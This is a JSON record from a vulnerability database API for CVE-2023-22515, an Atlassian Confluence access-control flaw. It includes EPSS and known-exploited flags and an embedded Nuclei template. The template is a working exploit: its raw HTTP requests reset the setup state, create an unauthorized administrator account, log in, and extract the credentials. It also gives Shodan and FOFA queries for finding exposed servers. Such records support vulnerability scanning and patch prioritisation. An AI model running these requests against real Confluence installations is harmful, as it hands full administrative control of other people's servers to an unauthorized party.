{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-22515/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-22515/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-22515/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-22515/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-22515/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-22515"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-22515"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99156,
      "kev": true,
      "percentile": 0.99933
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-22515.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2023-22515\n\ninfo:\n  name: Atlassian Confluence - Privilege Escalation\n  author: s1r1us,iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    Atlassian Confluence Data Center and Server contains a broken access control vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence.\n  impact: |\n    Unauthenticated attackers can exploit broken access control to create unauthorized Confluence administrator accounts and gain complete administrative access to Atlassian Confluence installations.\n  remediation: |\n    Update to the latest version of Confluence\n  reference:\n    - https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis\n    - https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html\n    - https://confluence.atlassian.com/kb/faq-for-cve-2023-22515-1295682188.html\n    - https://jira.atlassian.com/browse/CONFSERVER-92475\n    - https://www.cisa.gov/news-events/alerts/2023/10/05/cisa-adds-three-known-exploited-vulnerabilities-catalog\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-22515\n    epss-score: 0.99156\n    epss-percentile: 0.99933\n    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: atlassian\n    product: confluence_data_center\n    shodan-query: http.component:\"atlassian confluence\"\n    fofa-query:\n      - app=\"ATLASSIAN-Confluence\"\n      - app=\"atlassian-confluence\"\n  tags: cve2023,cve,confluence,auth-bypass,kev,intrusive,atlassian,vkev,vuln\nvariables:\n  username: \"{{rand_base(10)}}\"\n  password: \"{{rand_base(10)}}\"\n  email: \"{{username}}@{{password}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /setup/setupadministrator-start.action HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache{{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /setup/setupadministrator-start.action HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        @timeout:20s\n        POST /setup/setupadministrator.action HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Atlassian-Token: no-check\n\n        username={{to_lower(username)}}&fullName=admin&email={{email}}.com&password={{password}}&confirm={{password}}&setup-next-button=Next\n      - |\n        POST /dologin.action HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Atlassian-Token: no-check\n\n        os_username={{to_lower(username)}}&os_password={{password}}&login=Log+in&os_destination=%2Findex.action\n      - |\n        GET /welcome.action HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body_1, 'Setup is already complete')\n          - contains(body_3, 'Please configure the system administrator account for this Confluence installation')\n          - contains(location_5, '/index.action')\n          - status_code_5 == 302\n          - contains(body_6, 'Administration')\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"USER: \"+ username'\n          - '\"PASS: \"+ password'\n# digest: 4a0a0047304502204e8559008260989f9a537b91a862e72e7b78d8a3899495568721714507ba1639022100f24773efc79c3b97d84bc83a76915ebdaf87237d572e04ddd0ff44478cb852d7:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-22515"
}